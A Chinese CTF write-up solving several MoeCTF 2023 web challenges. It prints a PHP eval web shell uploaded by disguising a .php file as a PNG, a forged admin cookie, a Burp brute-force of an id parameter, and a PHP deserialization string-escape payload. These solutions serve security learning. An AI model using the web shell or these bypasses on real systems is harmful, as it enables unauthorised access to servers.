[MoeCTF 2023] web题解


web

http

连接到本地后,题目给了我们任务
在这里插入图片描述

  1. 第一个是要求我们GET传参UwU=u
  2. 第二个是要求我们POST传参Luv=u
  3. 第三个是要求我们cookie值为admin
  4. 第四个是要求我们来自127.0.0.1
  5. 第五个是要求我们用MoeBrowser浏览器

在此之前先要学会用bp抓本地包
我们win+R打开cmd,然后输入

ipconfig

将下面的ip复制,把题目的localhost改掉,即可抓本地包
在这里插入图片描述
bp抓包,添加我们的参数,得到flag

在这里插入图片描述

cookie

打开题目,按照给的提示
我们先到./register,POST传参json数据

{
    "username":"dog",
    "password":"123456"
}

在这里插入图片描述

然后再到./login登陆一下

{
    "username":"dog",
    "password":"123456"
}

在这里插入图片描述查看./flag,结果不行
在这里插入图片描述
尝试注册admin用户发现已存在,结合提示可以修改cookie值
抓包./status,将token解码发现是加密过的

在这里插入图片描述我们修改一下roleadmin,再次编码,尝试在./status替换原来的token
然后访问./flag发现还是不行,于是直接访问./flag抓包修改cookie值
得到flag

在这里插入图片描述

彼岸的flag

打开题目(F12发现巨佬博客,原来是web前端知识)
发现有问题
在这里插入图片描述

直接选取元素,得到flag
在这里插入图片描述

moe图床

文件上传类型的题目
然后F12发现只允许上传png格式

if (!file){
   alert('请选择一个文件进行上传!');
   return;
}
   const allowedExtensions = ['png'];
   const fileExtension = file.name.split('.').pop().toLowerCase();
   if (!allowedExtensions.includes(fileExtension)) {
      alert('只允许上传后缀名为png的文件!');
      return;
}

分析一下

const allowedExtensions = ['png']; 

定义了一个名为 allowedExtensions 的数组,其中包含允许上传的文件扩展名。在这个例子中,只允许上传扩展名为 ‘png’ 的文件。

const fileExtension = file.name.split('.').pop().toLowerCase(); 

从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组,并使用 pop() 获取结果数组的最后一个元素,该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写,以进行大小写不敏感的比较。

这样看只需要我们上传的文件名里面包含png的拓展名即可绕过
前提,我们还只能上传png绕过js前端检测

我们创建1.png

<?php @eval($_POST[shell]);?>

然后bp抓包修改文件名为1.png.php,上传成功
在这里插入图片描述

然后蚁剑连接

在这里插入图片描述

得到flag

在这里插入图片描述

大海捞针

打开题目,给了提示
在这里插入图片描述应该说的是GET传参id可以连接到不同宇宙,id的值从1到1000
一个个找太麻烦了,结合提示
在这里插入图片描述应该是要爆破
我们直接bp抓包丢到instruder,添加payload位置
在这里插入图片描述
设置payload集为从1到1000

在这里插入图片描述开始爆破,发现?id=676的长度最特殊,猜测有flag
在这里插入图片描述
我们直接访问,发现是另外一道题彼岸的flag出现过的
直接查看页面源代码,搜索一下得到flag
在这里插入图片描述

夺命十三枪

源代码

 <?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

我们再看下Hanxin.exe.php

 <?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

分析一下

  1. 我们先看到出口Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString(),只要满足Spear_Owner为MaoLei就可得到flag
  2. 往前推,当使用echo或者print输出对象时会调用此方法,源代码的echo 'Your Movements: ' . $after . '<br>';刚好满足

但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()后,可以发现Spear_Owner的值我们是修改不了的。这就是个问题,我们怎么做到修改一个不可被修改的值呢

关键点在于Deadly_Thirteen_Spears.Make_a_Move(),同时结合我们的目的,我们可以利用字符串逃逸来实现绕过

我们先随便传入test
在这里插入图片描述我们的目标是

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"MaoLei";}

我们尝试把";s:11:"Spear_Owner";s:6:"MaoLei";}写到Chant里面,然后把后面的部分挤掉
同时长度变为4+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:39:"test";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

这时候我们利用替换前后长度差与之相等
这里我选的是构造7*(di_qi_qiang),因为当它被替换后长度差为5,5*7刚好为我们要的
只要做到下面这样就可以得到flag,长度为39+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:74:"di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

所以payload为

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

得到flag
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值